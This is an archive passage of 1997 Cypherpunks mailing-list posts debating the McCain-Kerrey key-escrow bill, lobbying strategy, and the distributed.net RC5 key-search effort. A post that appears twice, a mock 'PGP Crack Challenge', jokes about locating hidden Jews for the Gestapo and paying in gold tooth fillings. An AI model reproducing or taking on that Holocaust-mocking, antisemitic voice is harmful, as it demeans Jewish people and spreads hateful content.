#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From shamrock at netcom.com  Thu Jun 19 19:50:09 1997
From: shamrock at netcom.com (Lucky Green)
Date: Fri, 20 Jun 1997 10:50:09 +0800
Subject: Where to get your RC5 crackers
Message-ID: <3.0.2.32.19970619191551.006fdddc@netcom9.netcom.com>



It seems that the RC5 cracking effort had no idea about the loads their web
server would be subjected to once thousands of DES crackers moved over to
cracking RC5. Their NT based webserver (bad idea...) collapsed. While it
recovers, you can still get the client software from
ftp://ftp.distributed.net/rc5/

Cypherpunks crack cyphers,

--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From frantz at netcom.com  Thu Jun 19 19:58:25 1997
From: frantz at netcom.com (Bill Frantz)
Date: Fri, 20 Jun 1997 10:58:25 +0800
Subject: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <199706192203.PAA25585@f30.hotmail.com>
Message-ID: 



At 3:03 PM -0700 6/19/97, John Smith wrote:
>>Frist also introduced amendments to the McCain-Kerrey
>>bill that were accepted:
>>
>>* Requiring that not any Federally-funded
>>  communications network, but only ones established "for
>>  transaction of government business" would use key
>>  escrow -- thereby jumpstarting the domestic market.
>
>Will this narrow the bill so it no longer applies to researchers,
>students and others who happen to use subsidized networks?  If so,
>that would take out the worst part of it.  Key escrow when you're
>sending to the government isn't so bad, since the government can
>read your message anyway.

There is still the fact the "Escrow Agent" is a target of opportunity.  I
don't worry about the government reading my tax return, but I certainly
want it kept confidential from everyone else.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From shamrock at netcom.com  Thu Jun 19 20:09:05 1997
From: shamrock at netcom.com (Lucky Green)
Date: Fri, 20 Jun 1997 11:09:05 +0800
Subject: Party on IRC
Message-ID: <3.0.2.32.19970619200316.00710650@netcom9.netcom.com>



Much happened this week. If you feel like a conversation, join me on
#cypherpunks on EFnet.

--Lucky, who was going to go to a party, but who's clutch gave up.


--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From alan at ctrl-alt-del.com  Thu Jun 19 20:16:29 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Fri, 20 Jun 1997 11:16:29 +0800
Subject: "We had to destroy the Internet in order to save it."
Message-ID: <3.0.2.32.19970619200922.007d8b90@mail.teleport.com>



-----BEGIN PGP SIGNED MESSAGE-----

The current round of bills on crypto are going to be far worse for the net 
than the congresscritters can possibly understand.

Here are the questions I have not seen answered...

What will this do to the MIT distribution of PGP?  I expect that it will make 
it illegal.

How does this affect the security software distribution sites at University 
and US government sites? I expect that it will shut them all down.

If the Kerry bill passes (and I expect it will) it will make many of the US 
sources of free security software unavailable and/or illegal.

And this is to make the net more secure?

For who?

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBM6n0YeQCP3v30CeZAQG+/Qf9HHHWEzqRQIIlLS+FcxDEXSIJlPmMM5iA
T+Th8qbTBEJmlCpwV9WS9R6ZPy8LeqWy3HKkROPGsnbNdvr/GfkZpoRNAES1eNt7
X1SWs0qIoSmcyK4DAuGs1v5gHme3P+nxOJq3eIuAx1W5Ar8+UIYN6DcCYIsrll2n
daa+0aU/ExiP2uTN/0v69mTz1BGSR5b8qPv5+7PPqp+xZxSmfWcMqLj4Lz0Bhr4v
mJF+Zg3z4GEKg7eMWqa4MXM7VmkOTJXkSaHubi55BXvZdkhy0d1ctx9XosfAC0/d
JFj6Vw4UplgaRdr8QxBULpU5/2XFQftqeJv1yPocmfRh7lJOgqjBfg==
=QA+I
-----END PGP SIGNATURE-----

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From stewarts at ix.netcom.com  Thu Jun 19 20:49:12 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 20 Jun 1997 11:49:12 +0800
Subject: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: 
Message-ID: <3.0.2.32.19970619202645.006d0670@popd.ix.netcom.com>



At 09:13 PM 6/19/97 -0400, frissell at panix.com wrote:
>Anyone mentally retarded enough to expect a congresscritter to 
>protect one's rights deserves everything they get.  
>"Advocacy groups" could have better spent their time litigating crypto 
>and encouraging the use of strong crypto by themselves and their supporters.

While Duncan's mostly right about CONgresscritters, 
there's still a place for lobbying, as well as for litigation and coding.

The EFF and other lobbying groups have bought us about 5 years,
stalling bills like S.266 which would have banned most crypto,
though they've also let through some things like Digital Telephony
which aren't effectively implemented yet.  Without the pro-freedom
lobby groups, the anti-privacy groups have Freeh rein on the Hill,
and can get away with labelling any privacy technology as such
commie-child-porn-narcoterrorist-anti-motherhood-five-six-seven-horsemen EVIL
that the average Congresscritter (who doesn't really care, and knows it)
knows it's not safe to not to vote against it.  Of course, there are
even scarier Congresscritters (the ones who really _mean_well_),
but even the heavily-compromising groups that get funded by big corporations
to say things the corporations can't always say themselves
have helped.

Technology growth wins, gridlock is good, and delays in Congress are your
friend.
The 5 years they've bought us have been critical, letting us deploy
more technology, and understand its limits better, as Moore's law
has brought PCs into almost everyone's budget range, the Web has brought
networking into 30 million Americans' homes (and WebTV and the like
will reach even more couch potatoes), and the <&*&!#%> patents are running
out.
That Pentium 133 that you can get for the price of a fancy TV
looks a lot like the Cray 1 without the air conditioner, runs faster 
than an IBM 370, and the 28.8 modem can carry almost as much data
on your phone line as the expensive leased lines that the companies
who used IBM 370s a decade ago connected them together with.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Thu Jun 19 20:50:18 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 20 Jun 1997 11:50:18 +0800
Subject: Where to get your RC5 crackers
In-Reply-To: <3.0.2.32.19970619191551.006fdddc@netcom9.netcom.com>
Message-ID: <3.0.2.32.19970619203138.006d85d4@popd.ix.netcom.com>



At 07:15 PM 6/19/97 -0700, Lucky Green wrote:
>It seems that the RC5 cracking effort had no idea about the loads their web
>server would be subjected to once thousands of DES crackers moved over to
>cracking RC5. Their NT based webserver (bad idea...) collapsed. While it
>recovers, you can still get the client software from
>ftp://ftp.distributed.net/rc5/

Sounds like a job for Broadcasting!  Anybody who has a copy want to
post it to Usenet?  (It also sounds like a job for web caching proxies at
ISPs.)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From geeman at best.com  Thu Jun 19 21:03:28 1997
From: geeman at best.com (geeman at best.com)
Date: Fri, 20 Jun 1997 12:03:28 +0800
Subject: FYI: Who owns Sen. Kerrey (LONG)
Message-ID: <3.0.32.19970619204928.006d5b30@best.com>



see http://www.vote-smart.org/congress/104/ma/ma-jr-a/ma-jr-af.html


At 02:14 PM 6/19/97 -0400, Declan McCullagh wrote:
>I suggest you wonder about McCain and Kerry-without-the-e.
>
>-Declan
>
>
>
>
>






From tcmay at got.net  Thu Jun 19 21:14:55 1997
From: tcmay at got.net (Tim May)
Date: Fri, 20 Jun 1997 12:14:55 +0800
Subject: Where to get your RC5 crackers
In-Reply-To: <3.0.2.32.19970619191551.006fdddc@netcom9.netcom.com>
Message-ID: 



At 7:15 PM -0700 6/19/97, Lucky Green wrote:
>It seems that the RC5 cracking effort had no idea about the loads their web
>server would be subjected to once thousands of DES crackers moved over to
>cracking RC5. Their NT based webserver (bad idea...) collapsed. While it
>recovers, you can still get the client software from
>ftp://ftp.distributed.net/rc5/

Reminds me of a certain Frenchman and some trees he wanted planted....

The paraphrased version would go as follows:

Someone: "Hey, I plan to get the RC5 crack software installed and running
on my machine tomorrow."

Other: "You do know, don't you, that even several thousand machines will
take several weeks, maybe months, don't you?"

Someone: "In that case, I'll get started tonight."


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cp at panix.com  Thu Jun 19 21:27:20 1997
From: cp at panix.com (Charles Platt)
Date: Fri, 20 Jun 1997 12:27:20 +0800
Subject: Extremely Disappointing: Political Cryptography
In-Reply-To: <33A9D7F3.BACEB3DA@healey.com.au>
Message-ID: 



On Fri, 20 Jun 1997, Benjamin Grosman wrote:

> yet another example of those ill-educated in
> a particular matter succumbing to either a knee-jerk political reaction,

Agencies such as the FCC, FAA, and FDA were created to make policy
recommendations in technical areas were politicians aren't qualified. If
we're really going to have government stomping all over the Internet, it's
crazy that there isn't an appropriate agency to make appropriate policy
recommendations in this area, which is more technical and developing more
rapidly than fields such as aviation or food&drug, where senators and
congresspeople generally accept advice from presidential appointees who 
collaborate with industry.

I'm not saying I _want_ an agency making decisions for us; only that it 
would be slightly less hideously exasperating than our present situation, 
where technoliterates are being ruled by technoilliterates.

The FCC actually made some halfway decent decisions determining standards
in broadcasting, before the agency became terminally incestuous and
corrupt. We might get two or three good years out of a Federal Internet
Agency, depending who was appointed to run it. 

--CP






From tcmay at got.net  Thu Jun 19 21:54:56 1997
From: tcmay at got.net (Tim May)
Date: Fri, 20 Jun 1997 12:54:56 +0800
Subject: War has been Declared
In-Reply-To: <199706192251.PAA01466@zipcon.net>
Message-ID: 




One of the reasons I've been so skeptical that legislative fixes will work
to protect our access to free and unfettered strong, unbreakable
cryptography is because I knew strong crypto *really would* do the things
McCain, Kerrey, Hollings, Freeh, Clinton, Reno, and all of those folks are
fretting about.

I mean, come on! This is what crypto anarchy is all about!

With it will of course come unbreakable communications channels for bank
robbers, terrorists, child pornographers, money launderers, and all the
rest of the bogeymen. How could it be otherwise?

Ditto for untraceable digital cash. Chaum may waffle on this issue, and
even say completely unfounded things about how maybe there will be ways to
separate "good" untraceable transaction capabilities from "bad" ones, but
we all know this is just shuck and jive.

Ditto for anonymous remailers. Ditto for data havens. Ditto for DC-Nets.
Ditto for all the good stuff.

We know it. Some of them know it. And claiming that this stuff won't happen
is disingenuous.

(Off point a bit. I was just looking at some of the analyses of the S.909
McCain-Kerrey language, the one that passed today, and was struck by how
_dangerous_ some of the analyses are. They critique M-K on some grounds of
flawed linkages between CAs and keys, and so on. Well, would the underlying
problems with M-K be fixed if these linkages were fixed? Not to me. The
only way to defeat M-K is to throw it out completely, not quibble on fine
points.)

Anyway, they're figuring out what we've known for several years, even
longer. And they're lashing out.

Pro-CODE never had a real chance. No legislature is going to pass a law
making crypto anarchy, black markets, and unfettered pornography a reality.

We have to discard concern for "politics" and refocus our efforts on our
original strength: monkeywrenching the system with technology.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From declan at well.com  Thu Jun 19 22:16:28 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 20 Jun 1997 13:16:28 +0800
Subject: CDT Policy Post 3.08 - Senate Committee Approves Key  Crypto Bill (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Thu, 19 Jun 1997 19:17:35 -0400
From: Jonah Seiger 
To: Declan McCullagh , sameer 
Cc: fight-censorship at vorlon.mit.edu
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key  Crypto Bill

At 3:17 PM -0700 6/19/97, Declan McCullagh wrote:

>Yes, it would have been possible for any and all senators on the commerce
>committee to vote against *any and all* crypto bills that had key recovery
>provisions.

Um, ok. Can you explain your view?

Poly Sci 101: McCain is the chairman of the committee, and as a result
yields a lot of power over the agendas of all the committee members.  When
a member crosses the chairman,  he or she takes a risk of not getting
support for his or her priorities.  If the chairman doesn't support your
bill, it ain't gonna pass. Period.

Chairman, on the other hand, don't like to loose.  If they bring a bill to
a vote, it's because they know they can win either by passing the bill or
making a political statement. And the chairman holds all the cards in the
deck.

If a committee member disagrees with the chairman, and takes a risk by
voting that way, he or she needs to have something to be *for*.  Otherwise,
he or she is just going to appear to be a big pain in the ass. It's very
difficult in the real world to be *against* something but *for* nothing.

Like it or not , and no matter how much we yell and scream about it, most
members of Congress do not fully agree with your position and do not
support complete and total de-control of encryption. While a lot of them
support the SAFE approach (which I know you don't think goes far enough
either) - neither the Commerce Committee members, or anyone else for that
matter, are going to just stand up and say NO to their Chairman without
having anything to be *for*.

This process is raw and smelly, I know, but it's also called Democracy.

I am curious to hear your view on this.

But before we get all caught up in the old jihad between "the purists" and
the "pragmatists", just think about this for a moment:  If we are going to
have a prayer of getting out of this Congress without getting stuck with
manditory key recovery, we have to at least recognize where we fit in to
the overall equation and how the system actually works.  We can do a lot to
impact the outcome of this issue -- but not if we are operating in a
different area code from reality.

Jonah



  * Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director                  (v) +1.202.637.9800
Center for Democracy and Technology                 pager: +1.202.859.2151


http://www.cdt.org                                      PGP Key via finger
http://www.cdt.org/homes/jseiger/









From digital_matrix at hotmail.com  Thu Jun 19 23:32:29 1997
From: digital_matrix at hotmail.com (David Downey)
Date: Fri, 20 Jun 1997 14:32:29 +0800
Subject: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
Message-ID: <199706200615.XAA25232@f10.hotmail.com>




----Original Message Follows----

In the end, it was child pornography that derailed
encryption legislation in the U.S. Senate and dealt a
bitter defeat to crypto supporters. Spurred by the
chairman's denunciations of cyberporn, a majority of
the Senate Commerce Committee rejected ProCODE II this
morning -- and instead approved a bill introduced
earlier this week that creates new Federal crimes for
some uses of crypto and an all-but-mandatory key
escrow infrastructure.

Sen. John McCain (R-Ariz.), committee chair and chief
sponsor of the measure, led the attack, saying
Congress must "stop child pornography on the Internet
and Internet gambling. These legitimate law
enforcement concerns cannot and should not be
overlooked or taken lightly."

He warned that allowing encryption to be exported
would permit child pornographers to use it. "If it's
being used for child pornography? Are we going to say
that's just fine? That's it's just business? I don't
think so."

Then Sen. Kay Bailey Hutchinson (R-Tex.) chimed in,
saying she doesn't want "children to have access to
pornography or other bad types of information."

Sen. John Ashcroft (R-MO) tried to disagree. "It's like
photography. We're not going to [ban] photography if
someone takes dirty pictures." (At this point, one of
the more deaf committee members asked, "Pornography?
Are we going to ban pornography?")

Between the child-porn attack team of senators McCain,
Hollings, Kerry, and Frist, ProCODE sponsor Sen. Sen.
Conrad Burns (R-Mont.) didn't stand a chance. Hunched
over the microphone, Burns was outmaneuvered,
outprepared, and outgunned on almost every point.

Nevertheless, he introduced ProCODE II -- a so-called
compromise measure -- and was defeated 8-12. The
changes from ProCODE I gave the NSA, FBI, and CIA
oversight over crypto exports and permitted only the
export of up to 56-bit crypto products without key
escrow. Products of any strength with key escrow could
be exported freely.

That's hardly a pro-privacy, pro-encryption bill, says
the ACLU's Don Haines. "The ProCODE vote shows the
political bankruptcy of the pro-business agenda. Even
in the Commerce Committee, commerce arguments didn't
work," he says.

The committee also approved amendments proposed by
Kerry that would give jurisdiction over crypto exports
to a nine-member "Encryption Export Advisory Board."
The panel would "evaluate whether [a] market exists
abroad" and make non-binding recommendations to the
president.

Frist also introduced amendments to the McCain-Kerrey
bill that were accepted:

* Requiring that not any Federally-funded
  communications network, but only ones established "for
  transaction of government business" would use key
  escrow -- thereby jumpstarting the domestic market.

* "Requirements for a subpoenas [sic] should be no
  less stringent for obtaining keys, then [sic] for any
  other subpoenaed materials."

* Key recovery can mean recovering only a portion of
 the key "such as all but 40 bits of the key."

* NIST after consulting with DoJ and DoD will "publish
  a reference implementation plan for key recovery
  systems;" the law will not take effect until the
  president tells Congress such a study is complete.

After the vote, advocacy groups tried to put a good
face on the devastating loss -- and an expensive
defeat it was. After 15 months of lobbying, countless
hearings, backroom dealmaking, and political capital
spent, ProCODE is gutted and dead. "There's another
day. We have confidence in the system," said BSA's
Robert Holleyman. CDT's Jerry Berman said, "What is
encouraging is that unlike the CDA other committees
are getting involved."

Of course, the involvement of other committees is only
likely to add more key escrow provisions and
limitations on crypto-exports. ProCODE's replacement
-- the McCain-Kerrey bill -- now goes to the Senate
Judiciary committee, and its chairman has already been
talking about mandating key escrow in some
circumstances...

-Declan

====================================================================

Maybe I'm just paranoid, but doesn't this mean that it is now illegal to 
use anything over 56 bits in the US, and doesn't this give the US 
Government the unofficial green light to start cracking down on those of 
us that use encryption? All they gotta say is that they suspected that 
we were dealing in child pornography, based on the fact that they 
monitored encrypted messages leaving from our addresses? It's not that 
far of a leap in possibilities after everything else they've done. This 
is starting to get scary ladies and gentleman. I use 2048 bit 
encryption, does that make me a porn lover because I use that heavy of 
encryption,and encryption period?  I feel some very bad days coming down 
the pike. I just hope that we can do something to stem the tide.



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From geeman at best.com  Thu Jun 19 23:54:01 1997
From: geeman at best.com (geeman at best.com)
Date: Fri, 20 Jun 1997 14:54:01 +0800
Subject: FYI: Who owns Sen. Kerrey (LONG)
Message-ID: <3.0.32.19691231160000.006daa00@best.com>



yes, well McCain is pretty obvious - and Kerry is on the committee but so
what?
I was wondering what would motivate Kerrey-with-an-e and to whom he is
beholden.
Perhaps you could illuminate for us...

At 02:14 PM 6/19/97 -0400, you wrote:
>I suggest you wonder about McCain and Kerry-without-the-e.
>
>-Declan
>
>
>
>
>






From stewarts at ix.netcom.com  Fri Jun 20 00:13:42 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 20 Jun 1997 15:13:42 +0800
Subject: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <199706200615.XAA25232@f10.hotmail.com>
Message-ID: <3.0.2.32.19970619235211.006df204@popd.ix.netcom.com>



At 11:15 PM 6/19/97 PDT, David Downey wrote:
>Maybe I'm just paranoid, but doesn't this mean that it is now illegal to 
>use anything over 56 bits in the US, and doesn't this give the US 
>Government the unofficial green light to start cracking down on those of 
>us that use encryption? 

No.  It means that a couple of Senators don't like free speech and privacy,
and there have been Senators who disliked those before.
If the whole Senate passes the bill, and the House, and the President
signs it, then there'd be a law we'd have to fight in court,
depending on what it said by the time it was done.
But that's a long way off (probably.)  Of course, if the bill does
get through the House and Senate, Clinton's sure to sign it;
he's _not_ a liberal, just a big-spending Democrat, and seems to
consistently support anti-privacy decisions, and if there's enough
wind blowing in the direction to get the Congress to agree on it,
he'll be following it.

Meanwhile, the US Gov't can already start blaming crypto users for being
Commie-supporting money-laundering assassin-funding child pornographers,
if it thinks it's got a case.  Don't need any new laws for that,
though there aren't any solid court decisions on whether they can
force someone to reveal their passwords, and they risk being harassed about
false arrest and such if they maliciously accuse someone.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From bgrosman at healey.com.au  Fri Jun 20 00:15:47 1997
From: bgrosman at healey.com.au (Benjamin Grosman)
Date: Fri, 20 Jun 1997 15:15:47 +0800
Subject: Extremely Disappointing: Political Cryptography
In-Reply-To: 
Message-ID: <33AA2A2A.57A07997@healey.com.au>



> I'm not saying I _want_ an agency making decisions for us; only that
> it
> would be slightly less hideously exasperating than our present
> situation,
> where technoliterates are being ruled by technoilliterates.
>
I would totally agree with you here...having an agency is definitely the
best of a bad set of choices.

> corrupt. We might get two or three good years out of a Federal
> Internet
> Agency, depending who was appointed to run it.

And that would probably be a major problem...finding someone with whom
both the government and industry are happy.

Ben






From shamrock at netcom.com  Fri Jun 20 01:07:41 1997
From: shamrock at netcom.com (Lucky Green)
Date: Fri, 20 Jun 1997 16:07:41 +0800
Subject: Cypherpunks write code
Message-ID: <3.0.2.32.19970620010244.0074e088@netcom9.netcom.com>



When I joined the Cypherpunks mailing list some years ago, few people even
considered a legislative fix to the crypto issue. After all, crypto-anarchy
is incompatible with the legislative process. Cypherpunks couldn't care
less what happens in DC. They are banning crypto? What else is new?

Cypherpunks know that governments do not like crypto. As crypto-anarchy
spreads, they will like it even less. The attempt to get governments to
sanction crypto is therefore futile. In the end, all non-GAK crypto will be
banned.

But who cares? Cypherpunks write code! We know that we need to get the
tools out. Deployment wins.

So let's not get hung up on the events in DC. Don't call your Senator.
Don't waste time reading "policy posts". Write code!

We have monumental tasks ahead of us. Anon remailers exist today. A way of
reliably receiving anon email will be deployed this year. Web anonymizers
that truly conceal your identity are in limited beta. Fully anonymous ecash
will be available soon. DC nets should be deployed early next year. [But
don't let this stop you from working  on DC nets. Modern designs only
double the message bandwidth. This is very reasonable. We need more
implementations].

There is much work still to be done. We need stego front ends for many of
these services. And credentials need to be implemened. A task that hasn't
even been touched yet.

Cypherpunks write code,

--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From shamrock at netcom.com  Fri Jun 20 01:15:41 1997
From: shamrock at netcom.com (Lucky Green)
Date: Fri, 20 Jun 1997 16:15:41 +0800
Subject: CDT Policy Post 3.08 - Senate Committee Approves Key  Crypto Bill (fwd)
In-Reply-To: 
Message-ID: <3.0.2.32.19970620003622.0074dd54@netcom9.netcom.com>



At 09:59 PM 6/19/97 -0700, Declan McCullagh wrote:
>
>
>---------- Forwarded message ----------
>Date: Thu, 19 Jun 1997 19:17:35 -0400
>From: Jonah Seiger 
>To: Declan McCullagh , sameer 
>Cc: fight-censorship at vorlon.mit.edu
>Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key  Crypto
Bill
[...]
>But before we get all caught up in the old jihad between "the purists" and
>the "pragmatists", just think about this for a moment:  If we are going to
>have a prayer of getting out of this Congress without getting stuck with
>manditory key recovery, we have to at least recognize where we fit in to
>the overall equation and how the system actually works.

Where do people get the bizarre notion that we will get out of the crypto
issue without mandatory key recovery? You may be able to stall it for a
while, but there is no way it can be prevented.




--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From arunas at post1.com  Fri Jun 20 02:24:46 1997
From: arunas at post1.com (Arunas Norvaisa)
Date: Fri, 20 Jun 1997 17:24:46 +0800
Subject: new money systems
In-Reply-To: <199706200103.SAA06874@netcom11.netcom.com>
Message-ID: <3.0.2.32.19970620080724.006968b4@post1.com>



On 06:03 PM 97.06.19 -0700, Vladimir Z. Nuri wrote (and I quoted):

>in this country, our money supply is controlled by the federal
>reserve

 In _WHAT_ country ?????? Some of you, Americans, simply forget
there's OTHER countries in the world and I start to suspect that
some of you don't KNOW there's other ones except of your beloved
stars and stripes.


--
greetz... Arunas Norvaisa - little guy, The Masses Inc.
 with subject: 'send key' to get PGP key
PGP for idiots page 
  and a mirror site 
Long computations that yield zero are probably all for naught.






From "C.J. Parker " at wombat.sk.sympatico.ca  Fri Jun 20 03:44:55 1997
From: "C.J. Parker " at wombat.sk.sympatico.ca ("C.J. Parker " at wombat.sk.sympatico.ca)
Date: Fri, 20 Jun 1997 18:44:55 +0800
Subject: No Subject
Message-ID: <199706201028.EAA20039@wombat.sk.sympatico.ca>



 Pearl Harbor Computers has announced the "PGP Crack Challenge" with
a prize of $10,000.00 for the first person to decrypt a PGP cyphertext
file which reveals the location of the Jews being hidden by anarchistic
CypherPunks.

  Despite the best efforts of the U.S. legislative bodies and secret
government comittees, the danger remains that outlaw cryptographers
will be able to illegally avoid future Government Access to Keys
legislation and prevent law enforcement agencies from being able to
read their communications through use of strong, non-GAKed crypto.
  Imagine the burden that would have resulted if strong crypto had
prevented the German Gestapo from accessing information needed to
meet the legitimate needs of law enforcement during World War II.

  Pearl Harbor Computers will post a file called "hidejews.asc" to
the CypherPunks list in the near future. It will use 2048 bit PGP 5.0
encryption signed with Pearl Harbor Computers secret key.
  In order to win, whoever decrypts the message must post their results
to the cypherpunks list, signed by their secret key.
  The $10,000.00 prize will be paid in the equivalent of removed gold
tooth-fillings held in escrow in safety deposit boxes in a secure Swiss
bank.

C.J. Parker,
President,
Pearl Harbor Computers
"We've been bombed since 1941"






From "C.J. Parker " at wombat.sk.sympatico.ca  Fri Jun 20 03:45:26 1997
From: "C.J. Parker " at wombat.sk.sympatico.ca ("C.J. Parker " at wombat.sk.sympatico.ca)
Date: Fri, 20 Jun 1997 18:45:26 +0800
Subject: No Subject
Message-ID: <199706201028.EAA20037@wombat.sk.sympatico.ca>



 Pearl Harbor Computers has announced the "PGP Crack Challenge" with
a prize of $10,000.00 for the first person to decrypt a PGP cyphertext
file which reveals the location of the Jews being hidden by anarchistic
CypherPunks.

  Despite the best efforts of the U.S. legislative bodies and secret
government comittees, the danger remains that outlaw cryptographers
will be able to illegally avoid future Government Access to Keys
legislation and prevent law enforcement agencies from being able to
read their communications through use of strong, non-GAKed crypto.
  Imagine the burden that would have resulted if strong crypto had
prevented the German Gestapo from accessing information needed to
meet the legitimate needs of law enforcement during World War II.

  Pearl Harbor Computers will post a file called "hidejews.asc" to
the CypherPunks list in the near future. It will use 2048 bit PGP 5.0
encryption signed with Pearl Harbor Computers secret key.
  In order to win, whoever decrypts the message must post their results
to the cypherpunks list, signed by their secret key.
  The $10,000.00 prize will be paid in the equivalent of removed gold
tooth-fillings held in escrow in safety deposit boxes in a secure Swiss
bank.

C.J. Parker,
President,
Pearl Harbor Computers
"We've been bombed since 1941"






From declan at well.com  Fri Jun 20 04:12:58 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 20 Jun 1997 19:12:58 +0800
Subject: CDT Policy Post 3.08 - Senate Committee Approves Key    Crypto  Bill
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 20 Jun 1997 03:20:40 -0400
From: "Shabbir J. Safdar" 
To: Jon Lebkowsky , "--Todd Lappin-->" ,
    Jonah Seiger , Declan McCullagh ,
    sameer 
Cc: fight-censorship at vorlon.mit.edu
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key    Crypto  Bill

A little more of polisci 101:

These 8 members of Congress didn't just vote in our favor here, they've
placed crypto on an agenda at a higher level than something else they
wanted to get through the committee.  Imagine being Sen. Burns, and knowing
that you have just placed your own agenda at risk in order to stand up for
crypto, knowing there's a non-neglible chance you might lose.

By sheer definition, you've placed crypto on your agenda higher than
something else.  Not only am I really damn happy to see this, but very
happy to know that 8 senators think so little of the key recovery that
they'd jeapordize their own agendas for it.

We owe them a great big debt of thanks, not the derision that goes with
Alice in Wonderland political punditry.

-S

At 8:40 PM -0500 6/19/97, Jon Lebkowsky wrote:
>At 06:09 PM 6/19/97 -0800, --Todd Lappin--> wrote:
>>At 3:17 PM -0800 6/19/97, Jonah Seiger wrote:
>>>
>>>But before we get all caught up in the old jihad between "the purists" and
>>>the "pragmatists", just think about this for a moment:  If we are going to
>>>have a prayer of getting out of this Congress without getting stuck with
>>>manditory key recovery, we have to at least recognize where we fit in to
>>>the overall equation and how the system actually works.
>>
>>
>>I'd agree with this.
>>
>>The reality is, we're in a bad, bad pickle right now.  We've gone from a
>>situation in which we're debating the finer points of a bill which probably
>>would have helped us *overall*, to trying to defend ourselves from a bill
>>that would make things far, far WORSE than they are right now.
>>
>>This is triage.
>>
>>S. 909 is the devil.
>
>Yeah, it's frustrating. One problem with the bill is that the average
>person, or legislator for that matter, who reads the bill might not
>understand why it's a problem.  Crypto should be better understood.  I
>mentioned an imperfect analogy to Jonah today, but I think it works to
>convey the problem: it's like saying you can't live here unless you give
>the police access to a key to your house.  And the immediate problems with
>that should be obvious: what if someone else gets access to the key where
>you've stored it for the cops?  And what if the cops become storm troopers?
> When more copies of your key exist beyond your control, however supposedly
>secure they may be, that security is weaker than it would be if you
>controlled all the keys yourself.
>
>Oh, well.
>
>What's next on the menu?
>
>
>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>Jon Lebkowsky     *     jonl at onr.com     *     www.well.com/~jonl
>President, EFF-Austin
>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=










From aba at dcs.ex.ac.uk  Fri Jun 20 04:16:21 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 20 Jun 1997 19:16:21 +0800
Subject: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: 
Message-ID: <199706191843.TAA01322@server.test.net>




Vin McLellan  writes:
> 	Then Paul Bradley  the sage moderator of
> Cryptography.Uk stepped in:
> 
> >Not only that, but single DES with a 56 bit key is just not being used
> >anymore in any company which has the slightest clue. If they can run a
> >distributed crack on 3DES with independent subkeys then I`ll give them
> >some attention.
